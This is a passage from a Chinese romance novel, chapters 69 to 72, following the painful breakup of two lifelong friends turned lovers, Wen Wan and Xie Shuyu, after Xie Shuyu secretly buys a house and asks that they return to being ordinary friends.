很漂亮,很顽皮,同时又那么恶劣,那么疯癫,那么不可理喻。 可她叫她小蛋糕,笼络人心这一套,她真是手到擒来。 “我真的不知道,她朋友把她带走了,也许是在她新买的房子里吧。” 乌玫想,温晚应该知道地址。 “学姐买了套房子。” “房子?” 如被闪电击中,温晚大脑一片炫白。 第69章 做回普通朋友,像从前那样 “房子,你说她买房子了?” 倒退几步,温晚肩胛抵墙,睁圆的一双眼布满惊疑伤痛。 她再次向乌玫求证,“你没骗我。” “骗你干嘛……” 乌玫同样不解,“那么重要的事情,难道学姐没告诉你,你们不是恋人关系。” 她其实早就猜到了,谢舒毓连续两个周末都把自己关在房间里画图,两人肯定是吵架。 她故意那么讲,有小小报复心理作祟,看到昨晚谢舒毓糟糕透顶的精神状态,替学姐打抱不平。 “那她不告诉你也正常,你一点也不信任她,进去她房间乱翻就算了,还进我房间,你把我们想成什么人了。” 乌玫有气,回房拿了件衣服披在肩膀,继续说:“昨晚学姐淋大雨回来的,浑身湿透,还没进门就开始呕吐,全身发抖,吓得我差点叫救护车。” 她那时还不知道怎么回事,以为谢舒毓食物中毒,现在温晚出现,一切都明了。 “肯定是因为你!你气着她了。” 靠墙缓缓滑坐在地,温晚满脑子只有“房子”二字。 房子,谢舒毓想买房子,她知道的,提过好多次了。 她没往心上去,是压根就没打算让谢舒毓出钱。 之前说过类似的话,说大家一起买,首付一人出一半,是顾忌她的自尊心。 那时候她还知道体谅谢舒毓的感受,尊重她的选择。 屈膝,温晚双手捂住脸,被深深的自责和挫败感包围。 是谁得到了就不珍惜,她老说这句话,逼着谢舒毓一次又一次向她求饶认错。 “真的买了房吗?” 温晚抬起头,泪湿的脸通红,她还是不相信。 继而,想到上次读者见面会,还有谢舒毓曾经发给她审阅过的图书合同。 钱,肯定是够的。 “那还有假,学姐跟我提了好多次进度,还说房产证都快拿到了。” 乌玫忍不住说更多,就为气她,“我大舅舅家搞装修的,学姐说,到时候找我给她打折!” 温晚信了,种种细节佐证,她终于肯相信了,也意识到自己玩砸了。 彻底玩砸。 她早该想到的,谢舒毓一直在攒钱买房,上次,她们分开之前还专程提过一次。 买房是很重要的一件事,是人生大事,那份合同把谢舒毓变得很有钱,不需要再指着谁跟她分担另一部分首付。 她不用再委曲求全,她把她踢出局。 这是温晚最不能接受的,她知道这种想法特别恶劣,她也从来不自称什么好人,一直以来,她不就是占着另一份首付的名额为所欲为吗? 现在谢舒毓不带她玩了,彻底脱离她的控制。 泪止也止不住,温晚讲不清楚自己到底因为什么在哭。 她拿出手机给谢舒毓打电话,照例无法接通,却还是执着重复着挂断和拨打这个过程。 直到泪滴满屏幕,也糊住她的眼睛。 她不顾形象,嚎啕大哭。 乌玫倚着门框看她一阵,终究不忍,“好吧,昨天晚上,我担心学姐出事,打电话给她的紧急联系人,那个姐姐不久就开车来把她接走了。” “可学姐的紧急联系人,为什么不是她的父母家人之类。”乌玫紧接着道出心中疑惑。 温晚止住泪,抬起头,“左叶?” “她没有家人吗?”乌玫又问。 “为什么不是我。”温晚喃喃出声。 “那么远,真给你打电话,你也帮不上什么忙。”乌玫顺嘴接。 “所以她真的一点也不需要我了。”最后一击,温晚脸色由红转白。 高中,大学,以及谢舒毓读研期间,所有表单,紧急联系人一栏,都是她温晚的名字和电话。 她曾真心实意为谢舒毓感到担忧,说“万一我没接到电话”,也是觉得自己没那么大能力,承托不起另一人生命的安危。 谢舒毓就在第二栏加上了温瑾的名字和电话。 幸好,那几年,谢舒毓平平安安的,她的胆小自私不曾暴露分毫,最终被时间的砂砾掩埋。 到这里,温晚又想起三十岁生日那天,谢舒毓零点给她打的那通电话。 ——“你还可以像从前那样幼稚,无聊,情绪起伏超大,动不动就哭鼻子,背地里说人坏话,生气就暴冲、砸床,甚至大喊大叫,都OK的。” 这么多年,一直被宠着,惯着,那些话她真听进去。 朋友们都长大,谢舒毓也长大,好像只有她还在原地踏步。 左叶接到温晚电话的时候,真有点发怵,怕她又拿大学时候借的那笔钱说事。 钱虽是早就还清,但雪中送炭的一腔拳拳盛意不能忘。 那时候左叶出柜,跟家里断绝关系,处境实在艰难,温晚给的那笔钱,说是救命钱也不为过。 “吃了些东西,刚睡下,现在退烧了,你不用担心。” 左叶在阳台,捂着手机听筒,心里嘀咕着,温晚要提钱,她肯定是没辙的。 “你可以把地址发给我吗?” 温晚坐在客厅那张旧沙发上,乌玫把她扶过去的。 左叶因为工作原因,换过好几个住址,现在这个,温晚确实不知道。 “她说不想见你啊。”左叶抓抓脑门,昨晚专程问过,说万一温晚找来,她该怎么办。 谢舒毓就说了句“不见”,扯过被子,蒙头睡觉。 “求求你了。”温晚声音带着浓浓的哭腔。 左叶内心挣扎。 她受不了女孩子哭,偏偏温晚最是矫情,从小到大,一遇到点什么就吧嗒吧嗒眼泪掉个不停。 每次都是谢舒毓在哄,她借口上厕所,等人哭完才回来。 “可她说了不想见……”左叶发愁,对面哭成个泪人了,还不如拿借钱那事威胁她。 温晚沉默了。 她心情不错的时候,撒娇卖乖手到擒来,心情不好的时候,就只会撒泼打滚。 她总是掌握不了那个微妙的中间值,归根结底,她的人生太过顺遂,她不需要学会温良忍让、委曲求全。 她借过左叶一笔钱,她可以威胁对方,但朋友的自尊心同样很重要。 是了,她不想失去朋友,从来不在左叶面前提起过那笔钱。 心里怎么想不重要,人心都禁不起探究,嘴巴闭紧了,留一份体面,给对方,也给自己。 看吧,人情世故,她怎么会不懂,偏偏只对谢舒毓苛刻。 通话还在继续,手机听筒里,只有温晚低低的抽泣声,左叶刚要开口,一抬头,看到谢舒毓端着水杯站在客厅。 “是她吗?”太久没说话,谢舒毓声音有点哑。 左叶点点头。 “让她来吧。”垂下眼皮,谢舒毓慢吞吞走到饮水机面前,“我正好有些话要对她说。” “行吧。” 左叶挂了电话,把地址和门牌号给温晚发过去。 谢舒毓喝完了那杯水,一直坐在客厅沙发。 “昨天还没来得及问你,跟阿音到底是怎么回事。” 左叶端个小板凳坐在阳台抽烟,两人隔了半扇玻璃门。 她转头,问:“你那叫小碗过来,是跟她和好吗?” 谢舒毓苦笑两声,摇头。 左叶也跟着笑了下,“还不就那么回事。” “可你们都在一起好几年了。” 心里酸酸的,鼻子也酸酸的,谢舒毓小口抿水,“还是觉得有点可惜。 “你跟小碗呢,二十多年,真就那么断了。”左叶说她也觉得有点可惜。 谢舒毓静静地坐着那,剧烈的海啸动荡结束,此刻她内心陷入一种近乎绝望的平静。 好难过。 无法再继续了,可心里还是有一小块柔软的地方为她保留,想到要跟她彻底分开,绵绵针刺感化作有形,跟随血液流动,走遍全身。 痛,到处都痛。 门铃响起,心脏因更为剧烈的疼痛激跃一下,谢舒毓下意识挺身望去。 “跑得还挺快。”左叶大步走向门边。 外门自然是温晚,几分钟前,左叶预想过,按照温晚的脾气,怕是连鞋都来不及换就冲进屋里指着她们大发脾气。 但事与心违是常态,今天的温晚有些不一样。 脸哭红,眼浮肿,长发蓬乱,门边小心翼翼探头,“她在吗?” 眼底浮现些许不忍,左叶给她使了个眼色,侧身把人让进屋,弯腰在柜里找拖鞋。 换鞋的时候,温晚多嘴问了句,“这是阿音的鞋吗?” 左叶头都没抬,“怎么可能。” 是了,她怎么可能把自己女朋友的拖鞋给别人穿。 即便是好朋友。 天底下没几个人能干出那种蠢事。 “她的鞋早就带走了,什么都没留给我。”左叶补了一句。 猝不及防被刺,温晚惊愕抬头。 左叶得逞一笑,“去吧,人在沙发上。” 说完转身回了卧室。 阳台上晾了几件衣服,下了半宿的雨,到现在天还阴着,室内光线昏暗。 温晚看到谢舒毓了,她逆光而立,身上披了件厚毛衣,看起来还是很瘦,像一株羸弱的竹。 一种本能,来不及思考她是不是真的讨厌她了,温晚朝她大步走去,不管不顾,一头扎进她怀里。 “对不起,我不该那样的。” 眼眶迅速涨红,好不容易止住的泪再次决堤,温晚埋在谢舒毓怀里,第无数次。 她时常感觉,她的身体为积年累月的倾靠而改变了形状,有一块恰好的凹槽,正好可以容纳另一半她的身体。 像一块泥,随便被捏塑成什么形状,二十多年,谢舒毓始终毫无怨言,正面迎接她的撞击。 又像是一块草地,允许她踩踏、奔跑,快乐打滚,承受她野蛮的扯拽,仍在积蓄能量,朝她盛开鲜花。 只是温晚忘记了,泥会干,会裂,草地也会有枯黄的时候。 “你原谅我吧。”温晚记不清这句话翻来覆去说过多少遍。 总在请求原谅,总在道歉,她实在是个很糟糕的人。 以往,她一通娴熟的撒娇卖乖,谢舒毓就不跟她生气了,无可奈何地看着她,无可奈何地笑一下,不说什么,只是摸摸她的脸,亲亲她的嘴角,问她想不想吃东西。 然后她们就和好了。 这次,温晚不敢奢求谢舒毓原谅,她想,可能要多花些时间。 一个小时,两个小时,或是一天、半天。 但这次,温晚听到谢舒毓回应她了。 她感觉到她的手,落在发顶,轻柔抚摸着,一下一下。 “没关系。”那双冰凉的手捧起她的脸,抹去湿热的泪。 温晚仰起脸,睁大眼睛,努力看清逆光中的她。 病容憔悴,嘴唇苍白,她眸中无尽的眷恋深情,一如从前,口中的话,却过分决绝残忍。 “我怎么舍得让你伤心。” “但我们还是分开吧,做回普通朋友,像从前那样。” 第70章 怎么哭闹哀求都没有用了 她说,想做回普通朋友,像从前那样。用最温柔的语气,说最绝情的话。 钝刀割肉,凌迟过程被持续拉长,痛感被无限放大。 温晚宁愿谢舒毓发火打骂,也不要被轻飘飘丢去一边,成为她的过去,成为她生活中可有可无的旁观者。 从前,她们那么亲密,牵手,拥抱,接吻,两具光洁的身体紧紧贴合在一起,直至天明。 那么近,就发生在不久前,记忆无法被删改涂抹,要怎么样能当作没发生。 “不可能当作没发生的。”温晚死死揪住她手臂衣袖,双膝发软,几乎要跪倒在她面前。 “我们之间,是有什么理不清解不开的深仇大恨,你一点机会也不给我。” “我们认识二十年了。”内心绝望到极点,温晚流泪哀求,“你别丢下我好吗,求你。” 身体虚弱,谢舒毓往后趔趄几步,跌坐在沙发,温晚急切追上,把自己重新塞回她怀里。 推拒几下,病后全身发软,四肢无力,她执拗不松,谢舒毓轻轻摇头,选择不再回应她任何肢体接触,手臂垂放一边。 “你进门前几分钟,叶子也是这么跟我说的,二十多年,真的分开,好可惜。” 苦笑一下,因整晚持续高烧而紧绷的嘴唇传来尖锐刺痛感。 唇瓣渗出血珠,舌尖尝到腥甜味道,浅吸气缓了几秒,谢舒毓还是很温柔跟她说着话。 “所以,我才说,还是做回普通朋友。” “昨天晚上,我躺在床上想了很久,其实是我的问题。本来我们可以一直做好朋友的,是我对你存有太多超有友谊的非分之想,也是我先向你表白,索吻,拉你下水。” 回忆从前许多甜蜜时刻,眼眶泪意渲染得缤纷多彩,谢舒毓声音很轻,混杂些微病愈后虚弱的沙哑感。 “小碗,我真的好喜欢你,好依赖你,也曾经真的好想好想跟你在一起,成为你生命中一份不可或缺的存在。” “我讲不清楚是什么时候开始喜欢你的,也许是在你离开的时候吧。只是,你知道的,我这人一向胆小,我不敢告诉你,怕惊扰你,最后连朋友也没得做。” “看你跟别人约会拍拖,看你接过别人的花,看你依偎在别人身边笑,我心里好难过。明明我才是最了解你的人,也是你最信任的人,我们天下第一好,为什么不可以在一起呢?” “我就是怕。” 偏偏,怕什么来什么。 “我还是搞砸了。” 胸腔漫长起伏一下,谢舒毓手托住她后背,稍探身,从茶几上抽了张纸巾,托起她的脸,点点按压去脸颊的泪。 “其实你没做错,是我控制欲太强,还偷偷给你上手段,不跟你商量就自己买了房,想逼你辞工回家。” “我还是不懂怎么正确去爱一个人,从前的朋友关系维持了二十多年,或许那才是最好的。” 所以,选择回到从前。 不要把自己的人生锚点抛掷在任何人身上,每个人都有自己独一无二的生命航线。 不要再纠结家人的偏心,也别再对任何人抱有期待,即便是深爱之人,她也会有自己的朋友,生活和事业,她有这个权利,为什么一定要去干涉她。 爱是占有,也是宽容、慈悲。 还做不到,还学不会,干脆选择放手。是谢舒毓目前唯一能想到的,能做到的。 爱,是多么深刻而复杂的字眼,偏偏书本上一个字也没教,人生的试卷,没有导师引领,只能跌跌撞撞不断试错。 “就分开吧。” 谢舒毓松开怀抱,拍拍她的肩膀,回到真正的老友位置。 温晚抬起头,认真去看她的眼睛,湿漉漉像隔着一片雾,又似远在云端,瞧不真切。 “我会给你买新的拖鞋。” 不甘心,温晚没什么底气挽回道。 谢舒毓摇头,“这不单单是拖鞋的事。” “那你说是什么事,工作?等周一回去,我就辞职不干,好不好。还是房子,交了多少首付,你告诉我,我把另外一半钱转给你,你把我的名字加上去,我跟你一起分担月供。” 温晚实在是不知道该怎么办了,“你说爱我,怎么能这么狠心对待我。” 她脱力滑倒在奶白色的长毛地毯,死死揪住谢舒毓,不肯松手,执拗道:“我做错了我都改还不行吗?” 谢舒毓有些困惑地看着她,“我对你真的那么重要的话,在这之前,为什么不能认真聆听一下我的诉求,体谅一下我的辛苦。” 温晚瞬间沉下眉眼,两片精致的嘴唇形状变得尖锐,像一把锋利的剪刀。 “你每天给乌玫做饭,还故意发微博,难道不是气我,你说着多爱我,还不是一直在用最恶劣最恶毒的想法揣测我,你骂我脏的时候呢,我跟你计较了吗?” 腾地站起,她的自尊像一把火,把周围一切都吞噬,也焚毁自己。 “你装什么清高啊,你敢说你一点没利用你那个小学妹来刺激我。其实你这人特别刻薄你知道吗?我被人堵在巷子里脱裤子,你说是我自找的,是我非要跟那些不三不四的人混在一起,可当时我已经很凄惨很难过了。” “傅明玮给我送花,你嘴上不说,心里想什么,你以为我不知道,你肯定想,是我给他释放信号了,是我勾引他,他半夜来肯定就是想来睡我的对吧?” 烈火灼烧,温晚克制不住全身发抖,尖锐的刀锋,胡乱挥舞。 “每一次,都是你先丢下我的,等我受伤了难过了,又恰到好处出现在我身边,说,看吧看吧,还是我对你最好。今天这样的局面也是你一手促成,我说你手段百出你还不承认,反正我永远是过错方,你最纯洁无辜,你最慈悲怜悯,你包容我,简直是天使一般的存在。” “你想让我怎么样?” 温晚逼近她,“给你下跪磕头,还是以死谢罪?” 眼泪大颗掉下来,字字句句,化作透明的鱼线将她裹缠,再一点点收紧,切割成块,真心血淋淋掉落得满地。 “是你先提出要跟我接吻的!说你没试过,要我帮忙。你觉得我为什么那么爽快就答应你,这些年,受尽折磨的不是只有你一个人。我为什么逃到那么远的地方,不跟你见面,不跟你联系。我爱你啊,我同样不敢告诉你,不敢迈步试探,以为朋友关系就是最安全的……” 情绪崩溃,温晚一个字也说不出来了,她从昨晚到现在,滴水未进,奇怪自己为什么还是有那么多眼泪,流也流不完。 她一气吼完,哭喘着跑出大门。 狂按电梯不来,想被追上,又害怕被追上,气到捶墙,她转身推开楼道安全门。 扯不断啊,就是扯不断,还是不想离开有她存在的这栋陌生楼房,即便是躲藏起来,也要在离她最近的地方。 温晚踩着楼梯往上跑,一口气跑到天台。 天气才不管人什么心情,明明一个小时前还阴云密布。 阳光刺痛双眼,找到一个黑黑的角落,抱膝团坐在地,温晚终于可以放开嗓嚎啕大哭。 几分钟前,她也自暴自弃想,分开就分开啊,有什么了不起。 念头刚起,心脏就像被人一把攥住,痛到不能呼吸。 没骨气酸了鼻子,狠话跟着眼泪一起掉,伤人也伤己。 都想通过指责对方,来操控对方产生愧疚心理,谁先兜不住,认输低头,兴许就能和好如初。 可如果两方都没低头,是不是就真的到此为止。 把自己弄得好下不来台,温晚又后悔了,不应该对她说那些的。 可说出去的话,泼出去的水,一切该如何收场。 她哭得更大,更响。 眼泪是她的武器,梨花带雨,我见犹怜,往常,谢舒毓一定会忍不住亲亲她的。 这次没有,她哭了好久还是没等到,那就不用计较是不是哭得足够漂亮,被到天台晾床单被套的老太太发现也无所谓,眼泪鼻涕糊满脸。 但总会有结束的时候,大脑的自我保护机制,勒令停止。 哭累了,脸颊紧绷,像一张揉皱湿透又风干的纸,稍有表情,就会裂出一条条细长的血缝。 缩肩环紧自己,温晚闭上眼睛,深深的疲倦感涌来,她想睡觉。 左叶起初给她打了几个电话,没接,手机关静音,震动还是很烦,最后索性关机。 迷迷糊糊,一双手伸到腋下,将她抱起,仍倔强不肯睁眼。 灵敏的鼻子嗅到熟悉的香气,清雅好闻,掺杂丝缕药味的苦,温晚好怕是梦。 “你是怎么找到我的。”她哽咽着问,眼眶又热了。 原地不动,谢舒毓没有急着带她回去,只是抱紧她。 “小时候,每次吵架,你都会生气跑掉,躲起来。但我发现,你都不会跑远,要么就在床底下,要么就在衣柜里。” 所以她进到谢舒毓房间时,爬到床底下去找,完全是一种本能。 也许谢舒毓只是躲起来了,像她小时候那样,其实内心极度渴望被发现,被找到。 “我知道你不会跑远的。” 谢舒毓揉揉她左边脑袋,靠在墙角,肯定早就难受得不行。 温晚紧紧环抱住她腰肢,带着哭腔说“我讨厌你”。 找到她,安抚她,怀抱温暖她,却不再亲吻她。分手后还无处不在的细致体贴。 “你是不是真的不要我了。”温晚抬头,被泪染红泡肿的一张脸。 “没有不要你。”谢舒毓抬手细细整理她鬓边乱发,眸中饱含深情慈悲。 “我们还是朋友。” 还是这句,又是这句,怎么哭闹哀求都没有用了。温晚绝望意识到。 70-80 第71章 一场漫长的凌迟 温晚暂时妥协,止住泪,央求谢舒毓带她回去,又搂着人叽叽咕咕说肚子饿,眼巴巴望着。 她累了哭不动了,退一步想,回到朋友位置也没关系,只要谢舒毓不是彻底抛下她,一切都还有挽回的余地。 以前都是这样的,她很有经验。 在楼道里,温晚就开始点菜,要吃这个要吃那个,还要果切和饮料。 谢舒毓不说什么,默默记下,温晚紧挨在身边,想牵就牵,想靠就靠,不挣扎不反抗。 可正常状态下,谢舒毓不应该是这样的。 她们每次吵完架,都免不了一番你推我搡,谢舒毓也一定要骂她几句出出气。 温晚恐慌。谢舒毓越是顺从,她越是害怕,迫切想改变眼前的局面,回到从前的安全位置。 她还是骄纵任性的碗大小姐,谢舒毓仍是对她俯首帖耳,唯命是从。 可现在不就是。 她抓牢那只骨节清晰的,冰凉的手,昏暗楼梯间,蓦地抬头,认真而专注地凝视着。 谢舒毓抬眼,视线投来,默然与其对望。 无悲无喜,那眼底是一片冻结的冰湖。 “你说的,我们还是朋友。”温晚急切向她求证。 “嗯”一声,淡淡的,谢舒毓继续往楼下走,“快点。” 快点,像急于摆脱什么。 左叶在阳台上,手里夹根烟,不知道跟谁打电话。 “嗯,吵啊,吵得可厉害,跟我们那时候差不多,哈哈,什么话最扎人心,就专挑什么说。” “我专门,偷偷拍了视频,发给你……不是为了测试什么拉不拉黑的,就单纯分享。” “没拉黑,看到了,那是不是说明还可以做朋友。哈哈,毕竟在一起那么多年,我是了解你最深的人,有什么头疼脑热,都可以给我打电话。” “没事,小筷子出去找了,我们分头找的,她去楼上,我去楼下。” “可不是,好朋友,都玩到床上去,什么关系,一下就找到。” …… 门铃响,左叶交待几句,挂了电话,小跑去开门。 “和好没呀?”她笑嘻嘻的。 对面两人谁也没搭理她,出去忘了换鞋,各自低头在门垫上蹭。 左叶讪讪一笑,“还挺排外。” 温晚借左叶家的卫生间洗脸,哭得太久,脸颊浮肿刺痛,左叶好像很有经验的样子,给她拿了张面膜。 “修复的,敷一会儿就好了。” “谢谢。”温晚细声,探头去看。 谢舒毓坐在客厅沙发,双手操作手机,应该是在买菜。 “待会儿一起吃饭。”谢舒毓见左叶出来,跟她交待声,开始收拾屋。 左叶让她不用麻烦,“到时候叫个钟点工就行,两个小时,到处收拾得干干净净的。” “那我把床单枕套给你洗了。”谢舒毓进卧室。 左叶跟进去,靠在门边回头看了眼洗手台的温晚,反手把门关上,冷不丁一句,“你是不是给人当保姆有瘾。” 手臂垂下,谢舒毓视线跌落在蓝白格棉质枕套。 她缓了几秒,吸口气,继续动作,“我来你家借住,弄脏你的床品,本来就该帮忙拆换,这是礼貌,我个人素质一向如此。” 左叶说好吧,“我做不到像你这么细致,可能我比较糙,但我觉得你这样也挺见外的。” “我图个心安。”谢舒毓把拆下来的枕套床单扔脏衣篓里。 “那你这样活着不累吗?”左叶又问。 她说我们这么多年的关系,难道我还会嫌弃你。 “你来时候才给你换的,现在又换,家里都晾不下了。” “那就拿楼顶去晾。” 谢舒毓提着脏衣篓准备出去,“我刚看了,天台可以晾,够晾,晚上我会提醒你收回来,免得下雨淋湿。” 她絮絮叨叨说晾天台挺好的,紫外线杀杀螨虫,还不会返潮。 “你累不累啊。”左叶敲了下额头,“操不完的心。” 手按在门把,谢舒毓回头,“我不那么做,我心更累,我宁愿身体累一些,也不要心累。” 她确实很累,身累,心更累,整个人没有一处是不累的。 如果身体的疲惫,可以换取心境的祥和安宁,她愿意。 好比她现在对待温晚的方式。 谢舒毓做不到对温晚完全置之不理,她们认识二十多年,二十多年什么概念,七千多个日夜,她们早就长在一起,打断骨头还连着筋,她们是彼此没有血缘关系的亲人。 温晚也曾无数次,为她出头拼杀,她不能因为眼前的一点小矛盾,就把人一棍子打死,把她过往的好全部抹杀。 那不成狼心狗肺的王八蛋。 小时候,温晚零花钱比她多,都是跟她分着用,她想买什么杂志画报,给捏捏肩,捶捶腿,说两句好听话就能哄得人大方掏兜。 在学校里,被谁欺负了,也都是温晚帮她出头。 没有兴趣,也没有精力再结交新的朋友了。 与人交往是很复杂的一件事,最初的新鲜感过去,磨合这关无论如何也逃不掉,跟谁都一样。 从小到大经历的那些事,再一次翻出来讲,心里那些伤,好不容易愈合,又要切开来向人展示。 恋人也好,朋友也罢,一切走心的前提,都伴随痛苦而生。 还是不要了。 所以不舍,手边现有的,不松。 如果是只能同甘不能共苦的酒肉搭子,谢舒毓并不需要,她是可以完全享受独处的那类人。 那对她而言,反而是一种消耗。 拆换下来的床单被套塞洗衣机,阳台上几盆半死不活的绿植,谢舒毓修剪枯叶后浇水,并警告左叶,不许再往花盆里扔烟头。 “植物也是有生命的!” 戒烟这事,她不想说了,说了人家也不听。 谢舒毓前前后后忙活,温晚敷完面膜洗了脸出来,发际一圈湿湿的,想靠近,又不敢,缩手缩脚,挺拘谨的样子站在客厅。 “坐啊。”左叶轻拉了她一把,“小心翼翼的样子,可不是你的作风。” 说着回头,看向谢舒毓,笑盈盈的,“在扮可怜,小招儿一个接一个的。” 温晚恶狠狠瞪了她一眼。 左叶接过谢舒毓递来的半个削好的苹果,放松往沙发上一躺,翘起二郎腿,模仿她爸,“家里还是得有个女人啊!” 谢舒毓把另外半个苹果递给温晚,“先吃点垫着。” 温晚摇头,“你吃。” “我吃,我再削。”谢舒毓塞她手里,转身又进了厨房。 “也不知道是谁,整天作天作地,把女人作没了。”左叶又说。 “那你女人呢?” 温晚回呛,“被你变成小纽扣,藏到柜子里去了。” 左叶指她一下,“不是看你长那么好看,早动手打你了。” 爱自己的第一天,从吃下一个完整的苹果开始。 谢舒毓捏着那个苹果从厨房走到阳台,看楼下空地小孩奔跑打闹,听客厅左叶和温晚斗嘴。 久违的安全感。 温晚吃完那半个苹果,去洗手回来,起初还蹦蹦跳跳,心情很好感觉生活充满希望,因为谢舒毓给她苹果吃了。 一抬头,看到茶几上一堆外卖盒。 左叶看了眼外卖单子,说这家味道不错,她点过。 她开始拆盒子,分发碗筷,“还有饮料啊,送的买的?” “买的。”谢舒毓从阳台走到客厅,手里捏的苹果只剩个核。 温晚要吃的菜,水果和饮料,齐全了。 “吃饭。”谢舒毓招呼一声,桌边坐下,第一筷子菜,没有像往常那样送到温晚嘴边。 退回朋友关系,乍一听,好像没什么大不了。 只有真正身处其中,才能体会到那些细节的变化。 温晚慢慢朝着饭桌走去,已经可以预见自己的未来。 恰到好处的冷漠疏离,润物细无声,被稀释过千百倍的酸性液体,点滴积蓄,缓缓腐蚀心房。 疼痛,在身体完全可以忍受的范围内,但从早到晚,持续不断,直到麻木。 饭后,谢舒毓说要回去了,还有很多图要画,左叶点点头,送她们出门,叮嘱说:“别吵架。” “不会的。”谢舒毓摇头,把垃圾拎上。 左叶站在门边,目送她们走远,直到两片细长的身影幽灵般晃出楼道,直到电梯门响,没听到一点旁的声响。 夏天真的到了,阳光把整个世界涂抹成金色,身上每一个毛孔,每一根发丝,都畅快舒展开,风里大口呼吸。 这种愉悦感却不能持续多久,七八月的太阳,路上走不了几步就晒得脸发烫头发晕。 像她们之间的关系,因太过执着,热烈,难免灼伤彼此,只能退回树荫下的安全地带。 下楼,前后走,温晚一直盯着谢舒毓脚后跟,试了好几次,都没有勇气走到她身边的位置。 谢舒毓习惯性走很快,有时也会故意朝前走出几步,朝后伸出一只手,像召唤小动物,几根手指弯曲,快速摆动几下,等待手心被填满。 她们之间这种小游戏很多,温晚同样乐此不疲,像小狗跳起来叼到主人手里的火腿肠。 现在没有了。 一直走到小区门口,她垂放身侧的双手,始终半握拳防备姿态。 出小区,谢舒毓停在路边,飞快转了下头,“你回家吧,我回宿舍了,还有活儿没干。” 温晚低头不应。 谢舒毓掏出手机,当着她面把她从黑名单里放出来。 “你加吧。” 任性把自己完全暴露在毒辣的阳光下,温晚一动不动,无声乞求怜悯。 “那随你吧。”谢舒毓站到公交站牌附近一小块阴凉地方。 车来,她点开付款码前,最后一次回眸,“我走了,你也早点回家。” 公交气缸门关闭,“哗啦”一声,温晚抬头,只捕捉到她半张无动于衷的脸,被窗框切割得破碎。 一场漫长的凌迟,似乎才刚刚开始。 第72章 人人都有嗜虐癖好 她说,你回家吧。 没打算送她,没帮她拦车,没说路上小心,也没嘱咐到家给我打电话。 原来这就是谢舒毓口中的普通朋友。 可她一直是个温柔细致的人,即便是半生不熟的同事关系,也不该如此对待。 还是不懂到底什么叫普通,用力过猛,刻意疏远了。 我不是你的普通朋友啊,就算恢复到从前关系,你也不该这样对我。 焦不离孟,碗不离筷,难道你都忘了? 温晚想追车跑几步的,想象的世界里,她已经迎风跑起来了,跑到车头,展臂拦下,眼泪像雨滴落在谢舒毓眼前那扇窗玻璃,然后谢舒毓拍着车门,请求司机停车,她们拥抱在一起。 和好。 现实的世界里,温晚一动不动。 她肯定跑不过公交车,就算跑得过,也没胆拦在车头前,而且公交不到站点,是不能随便停车打开车门的,车上有摄像头,拍到要罚款…… 总之,种种原因,她豁不出去。 也不太哭得出来了,心脏是完全挤压掉水分的一块干海绵,连血都流尽。 太阳底下站了会儿,温晚僵硬扭头,城市高楼林立,两旁行道树繁茂,车流穿梭不息,载着谢舒毓的那一辆,早已远去。 温晚从来没想过,谢舒毓真会狠心弃她而去,位置调换,她尝到了被抛弃的滋味。 原地等待,焦灼;转身离开,不甘;继续追赶,追到她宿舍去,追到她家里去…… 也没有用啊。 温晚想起自己曾经对她说过的话。 ——“从今往后,我就是你的家人,我会代替所有人爱你。” ——“你是我生命中最重要的人,是我没有血缘关系的亲人、爱人。” ——“我们会永远在一起。” 在被太阳彻底晒晕之前,温晚在路边拦了辆车,她回到家里,家中所有具备血缘关系的亲人立即围拢,问她怎么招呼不打一声就回来了。 “肯定是跟小筷子来看房的。” 表姑姑扯着她手臂转了个圈,没瞧见人,又跑出前院,路边到处去看,最后跑回来。 “小筷子呢,没跟你一起啊,饭都不吃就走了?” 谢舒毓买房的事,温晚全家都知道了,她爸说:“首付肯定不便宜吧,你帮着出点没。” 温瑾也跟着凑上来,“装修呢,什么时候装修,我找人来做。” 外公感慨道:“小筷子出息了,都自己挣够买房的钱,好孩子,真出息。” 众人七嘴八舌,连家里的狗也跟着掺和,兴奋“汪汪”叫,温晚双手捂住耳朵往楼上跑。 温瑾扯了她一把,“干什么你,大人跟你说话呢,招呼都不打一个,胆子越来越肥了。” 温晚抬起头,一双眼通红。 “你……”温瑾哑然。 “妈,别总是骂我了行吗?”温晚加快脚步,一气跑回房间,钻进被窝里躲起来。 表姑姑跟到门外,本来要直接打开房门直接走进去的,想起温晚上次跟她爸吵架说的那些,手收回,往上挪几寸,“咚咚”敲了几下。 “小碗,小碗?” 温瑾跟上来,伸手就要拉门,表姑姑拦着,不许。 “你就惯着!”温瑾搡了她一把。 “你这种暴君作风也得改改,孩子大了,有心事,给她留点个人空间。” 表姑姑说完拉着温瑾下楼,“给小筷子打电话,问问情况。” 谢舒毓回到宿舍,手机放在桌面上,一直在等这通电话。 电话那边应该是开的免提,全家人都在讲话,你一言我一语,谁也不让谁。 “吵架了。”谢舒毓淡淡陈述。 “我就知道。”表姑姑叹了口气。 “为什么呀。”温瑾打听。 “小筷子不用回答。” 表姑姑抢声,说没事,扭头劝服温瑾,“让她们自己处理吧,都长大了。” 温晚她爸听了,拧着眉毛坐到沙发上,好像心里揣了个天大的秘密,不能讲。 挂断电话,表姑姑叹气,也是一脸心事重重。 外公从不掺和小孩之间的恩恩怨怨,温瑾满不在乎摆摆手,“拉倒,多稀罕,我还不想管呢。” 谢舒毓一直都很羡慕温晚,羡慕她有那么多爱她的家人。 电话挂断没几分钟,温晚她爸和表姑姑分别给谢舒毓发短信。 大意差不多,劝她别生气,说小碗就那德行,乖的时候可乖可乖,嘴里全是好话,撒娇大王,讨嫌的时候也是真讨嫌,路边一条狗走过去,她都得踹两脚。 谢舒毓低头看手机,忍不住笑了下。 形容很贴切,但温晚现在不会踹狗了,她变胆小,会被狗撵上墙,站墙头哭着给她打电话求救。 谢舒毓想,温晚要真遇见事给她打电话,她还是会去的。 但不会像从前那样了。 不会再期待,不会对她有更多要求,也不会奢望从她身上得到什么。 太累了。 按下开关,等电脑启动,谢舒毓靠在椅背等,门响,她说“请进”。 门拉开,门缝里一张圆圆的笑脸,乌玫眨眨眼,“学姐,我烤了几个蛋挞,一起吃吧。” “你自己做的吗?”谢舒毓从椅子上站起来,拉开门走出去。 乌玫站在门口,不动,仰脸看着她,“学姐,你好些了吗?” 两人挨得很近,谢舒毓稍侧过身,往前走了两步,拉开距离。 乌玫抿了一下嘴唇,“我买的蛋挞皮,自己做了蛋挞液,用空气炸锅烤。” “真厉害。”谢舒毓夸得毫不走心。 乌玫搬进房子以后,给添置了好多东西,还给客厅那张丑餐桌盖了块漂亮的格子桌布。 